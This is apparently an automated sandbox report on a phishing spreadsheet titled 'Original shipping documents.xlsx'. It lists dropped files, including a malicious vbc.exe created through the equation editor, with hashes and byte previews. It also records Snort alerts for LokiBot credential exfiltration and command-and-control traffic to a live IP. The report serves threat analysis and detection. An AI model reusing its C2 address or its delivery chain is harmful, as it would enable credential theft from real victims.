Reputation:	moderate, very likely benign file
Preview:	.PNG........IHDR....... ......]....b.zTXtRaw profile type exif..x..Y..8.].9.........L3....UFvU&.d..\|q.;..f..^...........j.W..^...RO=..C.....=......N..).._......=........./...........?....Cl.>.......7...~....'..<...W..{o......q..5~..O.;U.ce>.W.Oxn...-.O......w..I........v..s&.\|x....:......?..u.??P....y.....}q..'..}.?...........}.j..o...I...K......G.._+.U...?..W..+Nnlq.....z....RX.._...3L.1..9.........8.$.._.\....Ln....%.....fh\|...d.\|X.7........_....StC......+.<.7...S\H...i>.{...Nn....../.....#..d.9...s.N..S.P...........Kxr(.1..8....<y\|R..@.9.p}......E.....l......"?.Ui....RF~jj.....s...{~.SR..Z.Qo}j...Zk....i..VZm......LX......./..../?.#.g..G.u...;...f.e..f...Y...^.....6.................}.{.vk............[...........G..I.....7^...:zgw.)Eo.;.{D)r..B.rV....C._....us..]9...[..n...._...........sk.=..9...z...a......e.7.<Vm;....s.w....o./kq.y.w..:q`;..A({.}...w~<.S..WJ.).Zz.c.#`.xN...1.9..1...k.o. ..-.M\|....,..i.[.\.;......8...x.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\58670744.jpeg Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 333x151, frames 3
Category:	dropped
Size (bytes):	14198
Entropy (8bit):	7.916688725116637
Encrypted:	false
SSDEEP:	384:lboF1PuTfwKCNtwsU9SjUB7ShYIv7JrEHaeHj7KHG81I:lboFgwK+wD9SA7ShX7JrEL7KHG8S
MD5:	E8FC908D33C78AAAD1D06E865FC9F9B0
SHA1:	72CA86D260330FC32246D28349C07933E427065D
SHA-256:	7BB11564F3C6C559B3AC8ADE3E5FCA1D51F5451AFF5C522D70C3BACEC0BBB5D0
SHA-512:	A005677A2958E533A51A95465308F94BE173F93264A2A3DB58683346CA97E04F14567D53D0066C1EAA33708579CD48B8CD3F02E1C54F126B7F3C4E64AC196E17
Malicious:	false
Preview:	......JFIF.................................... .... !....!..!) ..&.".#1!&)+... "383-7(-.-...........-...------0--------+-------------------+--------------........M..".......................................E......................!...1A"Q.aq..2B..#R..3b...$r..C......4DSTcs..................................................Q.A............?...f.t..Q ]....i".G.2....}....m..D..."......Z.5..5...CPL..W..o7....h.u..+.B...R.S.I. ..m...8.T...(.YX.St.@r..ca...\|5.2.....%..R.A67.........{....X.;...4.D.o'..R...sV8....rJm....2Est-.......U.@......\|j.4.mn..Ke!G.6PJ.S>..0....q%..... .....@...T.P.<...q.z.e....((H+. ..@$...'..?..h.P.]...ZP.H..l?s2l.$.N..?xP..c...@....A..D.l......1...[q[5(-.J..@...$..N....x.U.fHY!..PM..[.P........aY.....S.R.....Y...(D.\|..10........... ..l..\|F...E9...RU:.P...p$.'......2.s.-....a&.@..P.....m..........L.a.H;Dv)...@u...s.,.h..6..Y,....D.7....,.UHe.s..PQ.Ym....)..(y.6.u...i.V.'2`....&.... ^...8.+]K)R...\.'A...I..B..?[.:.L(c3J..%..$.3..E0@...."5fj...

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\6C7DD346.jpeg Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 191x263, frames 3
Category:	dropped
Size (bytes):	8815
Entropy (8bit):	7.944898651451431
Encrypted:	false
SSDEEP:	192:Qjnr2Il8e7li2YRD5x5dlyuaQ0ugZIBn+0O2yHQGYtPto:QZl8e7li2YdRyuZ0b+JGgtPW
MD5:	F06432656347B7042C803FE58F4043E1
SHA1:	4BD52B10B24EADECA4B227969170C1D06626A639
SHA-256:	409F06FC20F252C724072A88626CB29F299167EAE6655D81DF8E9084E62D6CF6
SHA-512:	358FEB8CBFFBE6329F31959F0F03C079CF95B494D3C76CF3669D28CA8CDB42B04307AE46CED1FC0605DEF31D9839A0283B43AA5D409ADC283A1CAD787BE95F0E
Malicious:	false
Preview:	......JFIF...................................................) ..(...!1!%)-.....383,7(..,...........+...7++++-+++++++++++++++---++++++++-+++++++++++++++++...........".......................................F........................!."1A..QRa.#2BSq......3b.....$c....C...Er.5.........................................................?..x.5.PM.Q@E..I......i..0.$G.C...h..Gt....f..O..U..D.t^...u.B...V9.f..<..t(.kt...d.@...&3)d@@?.q...t..3!.... .9.r.....Q.(:.W..X&..&.1&T..K..\|kc.....[..l.3(f+.c...:+....5....hHR.0....^R.G..6...&pB..d.h.04.+..S...M........[....'......J...,...<.O.........Yn...T.!..E*G.[I..-.......$e&........z..[..3.+~..a.u9d.&9K.xkX'.."...Y...l.......MxPu..b..:0e:.R.#.......U....E...4Pd/..0.`.4 ...A...t.....2....gb[)b.I."&..y1..........l.s>.ZA?..........3... z^....L.n6..Am.1m....0../..~.y......1.b.0U...5.oi.\.LH1.f....sl................f.'3?...bu.P4>...+..B....eL....R.,...<....3.0O$,=..K.!....Z.......O.I.z....am....C.k..iZ ...<ds....f8f..R....K

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\89D14D5A.emf Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	648132
Entropy (8bit):	2.8123097603136196
Encrypted:	false
SSDEEP:	3072:234UL0tS6WB0JOqFB5AEA7rgXuzqn8nG/qc+5:44UcLe0JOcXuunhqcS
MD5:	27E280B8E3E495E1824A39E0A2C1FA21
SHA1:	B4CC1FCD9FF12A0DFA0C58D05EADDA92BD5C3EEA
SHA-256:	DF2ED56094DC6AA5C2AF4974C2B1D93843E4DBE4627A7C18719B7A1025C4022A
SHA-512:	94F203A4C6258DA1479C4906D9434280B59BCDA4644F31F3723313473966AE2A215EE1D206C9EC33FA5558ABF0F417680CA999B08F643ADAAB073D09889B624C
Malicious:	false
Preview:	....l...........................m>...!.. EMF........(...............................................\K..hC..F...,... ...EMF+.@..................X...X...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@......................................................%...........%...................................R...p................................@."C.a.l.i.b.r.i.....................................................2X$........f<X.@F.%...\...................RQ.Y............l.......$Q.Y........ ...Id<X........ ............d<X........................................%...X...%...7...................{$..................C.a.l.i.b.r.i...............X.......0....84X........dv......%...........%...........%...........!..............................."...........%...........%...........%...........T...T..........................@.E.@............L.......................P... ...6...F...$.......EMF+@..$..........?...........?.........@...........@..........@..$..........?....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\F23CC993.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 484 x 544, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	65050
Entropy (8bit):	7.959940260382877
Encrypted:	false
SSDEEP:	1536:LT3dRSPKeePekFnfpQ6uF2sxiPfqu2RjWn0ZqNnbMXrpLlx6q1F:fdoPI79fpQXtjupn7Nnb8pLll
MD5:	22335141D285E599CDAEF99EABA59D5B
SHA1:	C8E5F6F30E91F2C55D96867CAA2D1E21E7A4804D
SHA-256:	6C0757667F548698B721E4D723768447046B509C1777D6F1474BDE45649D92B0
SHA-512:	CF623DC74B631AAE3DBECF1F8D7E6E129F0C44F882487F367F4CB955A3D5A9AAE96EFD77FB0843BCE84F5F9D4A3C844A42193B7C4F1D374CE147399E1C3A6C2B
Malicious:	false
Preview:	.PNG........IHDR....... ......]....b.zTXtRaw profile type exif..x..Y..8.].9.........L3....UFvU&.d..\|q.;..f..^...........j.W..^...RO=..C.....=......N..).._......=........./...........?....Cl.>.......7...~....'..<...W..{o......q..5~..O.;U.ce>.W.Oxn...-.O......w..I........v..s&.\|x....:......?..u.??P....y.....}q..'..}.?...........}.j..o...I...K......G.._+.U...?..W..+Nnlq.....z....RX.._...3L.1..9.........8.$.._.\....Ln....%.....fh\|...d.\|X.7........_....StC......+.<.7...S\H...i>.{...Nn....../.....#..d.9...s.N..S.P...........Kxr(.1..8....<y\|R..@.9.p}......E.....l......"?.Ui....RF~jj.....s...{~.SR..Z.Qo}j...Zk....i..VZm......LX......./..../?.#.g..G.u...;...f.e..f...Y...^.....6.................}.{.vk............[...........G..I.....7^...:zgw.)Eo.;.{D)r..B.rV....C._....us..]9...[..n...._...........sk.=..9...z...a......e.7.<Vm;....s.w....o./kq.y.w..:q`;..A({.}...w~<.S..WJ.).Zz.c.#`.xN...1.9..1...k.o. ..-.M\|....,..i.[.\.;......8...x.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\FD34C19.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 684 x 477, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	33795
Entropy (8bit):	7.909466841535462
Encrypted:	false
SSDEEP:	768:mEWnXSo70x6wlKcaVH1lvLUlGBtadJubNT4Bw:mTDQx6XH1lvYlbdJux4Bw
MD5:	613C306C3CC7C3367595D71BEECD5DE4
SHA1:	CB5E280A2B1F4F1650040842BACC9D3DF916275E
SHA-256:	A76D01A33A00E98ACD33BEE9FBE342479EBDA9438C922FE264DC0F1847134294
SHA-512:	FCA7D4673A173B4264FC40D26A550B97BD3CC8AC18058F2AABB717DF845B84ED32891F97952D283BE678B09B2E0D31878856C65D40361CC5A5C3E3F6332C9665
Malicious:	false
Preview:	.PNG........IHDR..............T+....)iCCPicc..x..gP......}..m....T).HYz.^E...Y."bC..D..i. ...Q).+.X...X.,....."(.G.L.{'?..z.w.93..".........~....06\|G$/3........Q@.......%:&.......K....\............JJ.. ........@n..3./...f._>..L~...... ......{..T.\|ABlL..?-V...ag.......>.......W..@..+..pHK..O.....o....................w..F.......,...{....3......].xY..2....( .L..EP.-..c0.+..'p.o..P..<....C....(.........Z...B7\.kp...}..g .)x.......!"t... J.:...#...qB<.?$..@.T$..Gv"%H9R.4 -.O....r..F. ..,.'...P..D.P....\...@.qh.....{...=.v....(*D...`T..)cz..s...0,..c[.b..k..^l.{...9.3..c..8=........2p[q....I\.....7...}....x].%...........f\|'..~.?..H .X.M.9...JH$l&....:.W..I...H.!......H..XD.&."^!.....HT....L.#...H..V.e..i..D.#..-...h.&r....K.G."/Q.)..kJ.%...REi...S.S.T.....@.N.....NP?.$h:4.Z8-...v.v.....N.k...at.}/..~....I.!./.&.-.M.V.KdD.(YT].+.A4O.R...=.91.....X..V.Z..bcb...q#qo...R.V...3.D...'.h.B.c..%&..C....1v2..7.SL.S...Ld.0O3.....&.A......$.,...rc%..XgY.X_....R1R{..F.....

C:\Users\user\AppData\Roaming\CF97F5\5879F5.exe (copy) Download File
Process:	C:\Users\Public\vbc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	210432
Entropy (8bit):	6.97232515193582
Encrypted:	false
SSDEEP:	3072:2v+ArX9FLxOhanZBsX3PovEuKwEXLqfP6GB6klGfLIQVNWBz:6+KnIanZyHPoqqfSGB6k8Txql
MD5:	59A67B5CCF01B6A564265797DC5E53E8
SHA1:	996281D368FCC2CEFE5BF99399CCB19299C6F8FF
SHA-256:	E4C1C0121487F83B014B8C81BBAF03DB0B7F49584A268A5E67CA64BA6E64676F
SHA-512:	3BEB988E323C9A9F8DEB04E845DA157E34EC1F564B5CF8681A7ACA490A9FB5A1D4F1D4A10D80AD2D9C7D1742C56B93CFD113352FA80E38C4BAB46695C6F527CD
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...............................................................................................................................PE..L...H..`.................l........................@.................................mk..................................O...,...<.... ...u..............................................................@...............\|............................text... j.......l.................. ..`.rdata...1.......2...p..............@..@.data...\|U..........................@....rsrc....u... ...v..................@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\CF97F5\5879F5.lck Download File
Process:	C:\Users\Public\vbc.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-966771315-3019405637-367336477-1006\f554348b930ff81505ce47f7c6b7d232_ea860e7a-a87f-4a88-92ef-38f744458171 Download File
Process:	C:\Users\Public\vbc.exe
File Type:	data
Category:	dropped
Size (bytes):	25990
Entropy (8bit):	0.6027050180179753
Encrypted:	false
SSDEEP:	12:seeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeJ:C
MD5:	53580B7E5732A1219D4DA536B8FA2999
SHA1:	9680D4CD528EECA7693619772320868789C3C4E4
SHA-256:	F15B8D65C47C425332F15BB045DE3273C99AD53782D5F18333ACB8D60FF83418
SHA-512:	E9F9B4F89D99034CEEB3D2F0D5D47F589818D8DD84F29FA9ACBD69DE120FF5D569853994B2EE88B08D240CD9BDD493AA3B79FED65F73B2AAAB43E9BF8A20474D
Malicious:	false
Preview:	........................................user.......................................................................................user.......................................................................................user.......................................................................................user.......................................................................................user.......................................................................................user.......................................................................................user.......................................................................................user.......................................................................................user.......................................................................................user.......................................................................................user...................................

C:\Users\user\Desktop\~$Original shipping documents.xlsx Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	330
Entropy (8bit):	1.4377382811115937
Encrypted:	false
SSDEEP:	3:vZ/FFDJw2fj/FFDJw2fV:vBFFGaFFGS
MD5:	96114D75E30EBD26B572C1FC83D1D02E
SHA1:	A44EEBDA5EB09862AC46346227F06F8CFAF19407
SHA-256:	0C6F8CF0E504C17073E4C614C8A7063F194E335D840611EEFA9E29C7CED1A523
SHA-512:	52D33C36DF2A91E63A9B1949FDC5D69E6A3610CD3855A2E3FC25017BF0A12717FC15EB8AC6113DC7D69C06AD4A83FAF0F021AD7C8D30600AA8168348BD0FA9E0
Malicious:	false
Preview:	.user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\Public\vbc.exe Download File
Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	210432
Entropy (8bit):	6.97232515193582
Encrypted:	false
SSDEEP:	3072:2v+ArX9FLxOhanZBsX3PovEuKwEXLqfP6GB6klGfLIQVNWBz:6+KnIanZyHPoqqfSGB6k8Txql
MD5:	59A67B5CCF01B6A564265797DC5E53E8
SHA1:	996281D368FCC2CEFE5BF99399CCB19299C6F8FF
SHA-256:	E4C1C0121487F83B014B8C81BBAF03DB0B7F49584A268A5E67CA64BA6E64676F
SHA-512:	3BEB988E323C9A9F8DEB04E845DA157E34EC1F564B5CF8681A7ACA490A9FB5A1D4F1D4A10D80AD2D9C7D1742C56B93CFD113352FA80E38C4BAB46695C6F527CD
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...............................................................................................................................PE..L...H..`.................l........................@.................................mk..................................O...,...<.... ...u..............................................................@...............\|............................text... j.......l.................. ..`.rdata...1.......2...p..............@..@.data...\|U..........................@....rsrc....u... ...v..................@..@........................................................................................................................................................................................................................................................................................................................................................

Static File Info

General
File type:	CDFV2 Encrypted
Entropy (8bit):	7.988412488949302
TrID:	Generic OLE2 / Multistream Compound File (8008/1) 100.00%
File name:	Original shipping documents.xlsx
File size:	420472
MD5:	27eb25e6fbbbd37115055ecc4b557c53
SHA1:	4c986607a941900d9d8804aa351dcab0cc4de224
SHA256:	09d2b8f86f136cb14832e9a4de582c239c698044adcc8d12d6195f5eff78ccab
SHA512:	f2ece9c11a33e9bf9502f231a89e08256da67e1387b2707e76045fe51d3d0cc3e81d05a1bd2e380d39adbc0cefe8d60113b96b647813c64b7f1bded81ae230d2
SSDEEP:	6144:fQOdpdVnGAWCDj4TvvuX2sNNtN+Por6ouj38cawe5kA0t8+yWENL/XfOmPKI:4O7cvCbNtUzP3jmiA06+l6Xf5
File Content Preview:	........................>......................................................................................................................................................................................................................................

File Icon


Icon Hash:	e4e2aa8aa4b4bcb4

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
09/28/21-06:50:29.583742	TCP	2024312	ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1	49166	80	192.168.2.22	5.188.89.50
09/28/21-06:50:29.583742	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49166	80	192.168.2.22	5.188.89.50
09/28/21-06:50:29.583742	TCP	2025381	ET TROJAN LokiBot Checkin	49166	80	192.168.2.22	5.188.89.50
09/28/21-06:50:29.583742	TCP	2024317	ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2	49166	80	192.168.2.22	5.188.89.50
09/28/21-06:50:30.225629	TCP	2024312	ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1	49167	80	192.168.2.22	5.188.89.50
09/28/21-06:50:30.225629	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49167	80	192.168.2.22	5.188.89.50
09/28/21-06:50:30.225629	TCP	2025381	ET TROJAN LokiBot Checkin	49167	80	192.168.2.22	5.188.89.50
09/28/21-06:50:30.225629	TCP	2024317	ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2	49167	80	192.168.2.22	5.188.89.50
09/28/21-06:50:30.788969	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49168	80	192.168.2.22	5.188.89.50
09/28/21-06:50:30.788969	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49168	80	192.168.2.22	5.188.89.50
09/28/21-06:50:30.788969	TCP	2025381	ET TROJAN LokiBot Checkin	49168	80	192.168.2.22	5.188.89.50
09/28/21-06:50:30.788969	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49168	80	192.168.2.22	5.188.89.50
09/28/21-06:50:31.149317	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49168	5.188.89.50	192.168.2.22
09/28/21-06:50:31.556288	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49169	80	192.168.2.22	5.188.89.50
09/28/21-06:50:31.556288	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49169	80	192.168.2.22	5.188.89.50
09/28/21-06:50:31.556288	TCP	2025381	ET TROJAN LokiBot Checkin	49169	80	192.168.2.22	5.188.89.50
09/28/21-06:50:31.556288	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49169	80	192.168.2.22	5.188.89.50
09/28/21-06:50:31.912452	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49169	5.188.89.50	192.168.2.22
09/28/21-06:50:33.578149	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49170	80	192.168.2.22	5.188.89.50
09/28/21-06:50:33.578149	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49170	80	192.168.2.22	5.188.89.50
09/28/21-06:50:33.578149	TCP	2025381	ET TROJAN LokiBot Checkin	49170	80	192.168.2.22	5.188.89.50
09/28/21-06:50:33.578149	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49170	80	192.168.2.22	5.188.89.50
09/28/21-06:50:33.930838	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49170	5.188.89.50	192.168.2.22
09/28/21-06:50:36.333900	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49171	80	192.168.2.22	5.188.89.50
09/28/21-06:50:36.333900	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49171	80	192.168.2.22	5.188.89.50
09/28/21-06:50:36.333900	TCP	2025381	ET TROJAN LokiBot Checkin	49171	80	192.168.2.22	5.188.89.50
09/28/21-06:50:36.333900	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49171	80	192.168.2.22	5.188.89.50
09/28/21-06:50:36.694551	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49171	5.188.89.50	192.168.2.22
09/28/21-06:50:36.981514	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49172	80	192.168.2.22	5.188.89.50
09/28/21-06:50:36.981514	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49172	80	192.168.2.22	5.188.89.50
09/28/21-06:50:36.981514	TCP	2025381	ET TROJAN LokiBot Checkin	49172	80	192.168.2.22	5.188.89.50
09/28/21-06:50:36.981514	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49172	80	192.168.2.22	5.188.89.50
09/28/21-06:50:37.329350	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49172	5.188.89.50	192.168.2.22
09/28/21-06:50:37.611743	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49173	80	192.168.2.22	5.188.89.50
09/28/21-06:50:37.611743	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49173	80	192.168.2.22	5.188.89.50
09/28/21-06:50:37.611743	TCP	2025381	ET TROJAN LokiBot Checkin	49173	80	192.168.2.22	5.188.89.50
09/28/21-06:50:37.611743	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49173	80	192.168.2.22	5.188.89.50
09/28/21-06:50:37.968483	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49173	5.188.89.50	192.168.2.22
09/28/21-06:50:38.271242	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49174	80	192.168.2.22	5.188.89.50
09/28/21-06:50:38.271242	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49174	80	192.168.2.22	5.188.89.50
09/28/21-06:50:38.271242	TCP	2025381	ET TROJAN LokiBot Checkin	49174	80	192.168.2.22	5.188.89.50
09/28/21-06:50:38.271242	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49174	80	192.168.2.22	5.188.89.50
09/28/21-06:50:38.657722	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49174	5.188.89.50	192.168.2.22
09/28/21-06:50:38.967765	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49175	80	192.168.2.22	5.188.89.50
09/28/21-06:50:38.967765	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49175	80	192.168.2.22	5.188.89.50
09/28/21-06:50:38.967765	TCP	2025381	ET TROJAN LokiBot Checkin	49175	80	192.168.2.22	5.188.89.50
09/28/21-06:50:38.967765	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49175	80	192.168.2.22	5.188.89.50
09/28/21-06:50:39.323179	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49175	5.188.89.50	192.168.2.22
09/28/21-06:50:39.638770	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49176	80	192.168.2.22	5.188.89.50
09/28/21-06:50:39.638770	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49176	80	192.168.2.22	5.188.89.50
09/28/21-06:50:39.638770	TCP	2025381	ET TROJAN LokiBot Checkin	49176	80	192.168.2.22	5.188.89.50
09/28/21-06:50:39.638770	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49176	80	192.168.2.22	5.188.89.50
09/28/21-06:50:40.025614	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49176	5.188.89.50	192.168.2.22
09/28/21-06:50:40.313216	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49177	80	192.168.2.22	5.188.89.50
09/28/21-06:50:40.313216	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49177	80	192.168.2.22	5.188.89.50
09/28/21-06:50:40.313216	TCP	2025381	ET TROJAN LokiBot Checkin	49177	80	192.168.2.22	5.188.89.50
09/28/21-06:50:40.313216	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49177	80	192.168.2.22	5.188.89.50
09/28/21-06:50:40.677573	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49177	5.188.89.50	192.168.2.22
09/28/21-06:50:40.962632	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49178	80	192.168.2.22	5.188.89.50
09/28/21-06:50:40.962632	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49178	80	192.168.2.22	5.188.89.50
09/28/21-06:50:40.962632	TCP	2025381	ET TROJAN LokiBot Checkin	49178	80	192.168.2.22	5.188.89.50
09/28/21-06:50:40.962632	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49178	80	192.168.2.22	5.188.89.50
09/28/21-06:50:41.324284	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49178	5.188.89.50	192.168.2.22
09/28/21-06:50:41.640230	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49179	80	192.168.2.22	5.188.89.50
09/28/21-06:50:41.640230	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49179	80	192.168.2.22	5.188.89.50
09/28/21-06:50:41.640230	TCP	2025381	ET TROJAN LokiBot Checkin	49179	80	192.168.2.22	5.188.89.50
09/28/21-06:50:41.640230	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49179	80	192.168.2.22	5.188.89.50
09/28/21-06:50:42.012145	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49179	5.188.89.50	192.168.2.22
09/28/21-06:50:42.299756	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49180	80	192.168.2.22	5.188.89.50
09/28/21-06:50:42.299756	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49180	80	192.168.2.22	5.188.89.50
09/28/21-06:50:42.299756	TCP	2025381	ET TROJAN LokiBot Checkin	49180	80	192.168.2.22	5.188.89.50
09/28/21-06:50:42.299756	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49180	80	192.168.2.22	5.188.89.50
09/28/21-06:50:42.665060	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49180	5.188.89.50	192.168.2.22
09/28/21-06:50:42.959616	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49181	80	192.168.2.22	5.188.89.50
09/28/21-06:50:42.959616	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49181	80	192.168.2.22	5.188.89.50
09/28/21-06:50:42.959616	TCP	2025381	ET TROJAN LokiBot Checkin	49181	80	192.168.2.22	5.188.89.50
09/28/21-06:50:42.959616	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49181	80	192.168.2.22	5.188.89.50
09/28/21-06:50:43.342382	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49181	5.188.89.50	192.168.2.22
09/28/21-06:50:43.668918	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49182	80	192.168.2.22	5.188.89.50
09/28/21-06:50:43.668918	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49182	80	192.168.2.22	5.188.89.50
09/28/21-06:50:43.668918	TCP	2025381	ET TROJAN LokiBot Checkin	49182	80	192.168.2.22	5.188.89.50
09/28/21-06:50:43.668918	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49182	80	192.168.2.22	5.188.89.50
09/28/21-06:50:44.033988	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49182	5.188.89.50	192.168.2.22
09/28/21-06:50:44.317407	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49183	80	192.168.2.22	5.188.89.50
09/28/21-06:50:44.317407	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49183	80	192.168.2.22	5.188.89.50
09/28/21-06:50:44.317407	TCP	2025381	ET TROJAN LokiBot Checkin	49183	80	192.168.2.22	5.188.89.50
09/28/21-06:50:44.317407	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49183	80	192.168.2.22	5.188.89.50
09/28/21-06:50:44.690879	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49183	5.188.89.50	192.168.2.22
09/28/21-06:50:44.980669	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49184	80	192.168.2.22	5.188.89.50
09/28/21-06:50:44.980669	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49184	80	192.168.2.22	5.188.89.50
09/28/21-06:50:44.980669	TCP	2025381	ET TROJAN LokiBot Checkin	49184	80	192.168.2.22	5.188.89.50
09/28/21-06:50:44.980669	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49184	80	192.168.2.22	5.188.89.50
09/28/21-06:50:45.327651	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49184	5.188.89.50	192.168.2.22
09/28/21-06:50:45.606333	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49185	80	192.168.2.22	5.188.89.50
